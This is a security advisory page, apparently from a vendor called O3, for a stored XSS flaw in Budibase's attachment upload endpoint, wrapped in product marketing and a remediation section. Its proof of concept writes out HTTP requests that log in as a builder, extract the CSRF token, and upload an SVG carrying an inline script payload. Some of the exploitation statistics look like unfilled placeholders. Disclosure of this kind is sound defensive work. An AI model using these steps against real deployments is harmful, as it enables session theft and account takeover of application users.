GHSA-82rc-gxrg-v4gf
HIGHGHSA-82rc-gxrg-v4gf is a high-severity (CVSS 7.6) Cross-site Scripting (XSS) vulnerability in budibase. O3 Security confirms whether GHSA-82rc-gxrg-v4gf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Budibase: Unrestricted Upload of File with Dangerous Type
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-82rc-gxrg-v4gf.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-82rc-gxrg-v4gf plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
budibasenpmDescription
Summary
The file upload endpoint POST /api/attachments/process does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (html, svg, js, php, etc.) are conditionally wrapped inside if (isPublicUser) or if (isPublicUser || !env.SELF_HOSTED), meaning any authenticated builder can upload executable web content — SVG files with inline <script> tags, HTML pages with JavaScript, .js modules — which are then stored in the object store (MinIO/S3) with their correct MIME types (image/svg+xml, text/html, application/javascript). When the resulting signed URL is opened by any app user, the browser executes the payload.
Impact is persistent stored XSS over all application end users.
Details
The vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179).
Route definitions (packages/server/src/api/routes/static.ts):
POST /api/attachments/process → authorized(BUILDER) POST /api/attachments/:tableId/upload → authorized(PermissionType.TABLE, PermissionLevel.WRITE) Both routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table — not just builders.
PoC
Prerequisites
- Budibase self-hosted Docker deployment, any version ≤ 3.30.6
- An account with Builder role (does not require admin)
- Target app published and accessible to end users
Step 1 — Authenticate as builder
POST /api/global/auth/default/login HTTP/1.1
Host: target:10000
Content-Type: application/json
{"username":"[email protected]","password":"BuilderPass1!"}
HTTP/1.1 200 OK
Set-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
Set-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
{"message":"Login successful"}
The CSRF token is bound to the session. Browsers send it automatically via the Budibase
frontend JS. For scripted requests, decode the JWT payload (base64url second segment) to
extract sessionId, then read the Redis key session-<userId>/<sessionId> → csrfToken.
Step 2 — Upload SVG with XSS payload
POST /api/attachments/process HTTP/1.1
Host: target:10000
Cookie: budibase:auth=<jwt>; budibase:auth.sig=<sig>
x-budibase-app-id: <dev_app_id>
x-csrf-token: <csrf_token>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Length: 391
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="file"; filename="xss.svg"
Content-Type: image/svg+xml
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
HTTP/1.1 200 OK
[{"size":207,"name":"xss.svg","url":"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...","extension":"svg","key":"workspace_id/attachments/<uuid>.svg"}]
Impact
- App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft → full account takeover. |
- Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder's session → workspace takeover.
Discovered By: Abdulrahman Albatel Abdullah Alrasheed
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | budibase | all versions | 3.38.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for budibase. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update budibase to 3.38.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-82rc-gxrg-v4gf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-82rc-gxrg-v4gf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-82rc-gxrg-v4gf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-82rc-gxrg-v4gf in your dependencies?
O3 detects GHSA-82rc-gxrg-v4gf across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.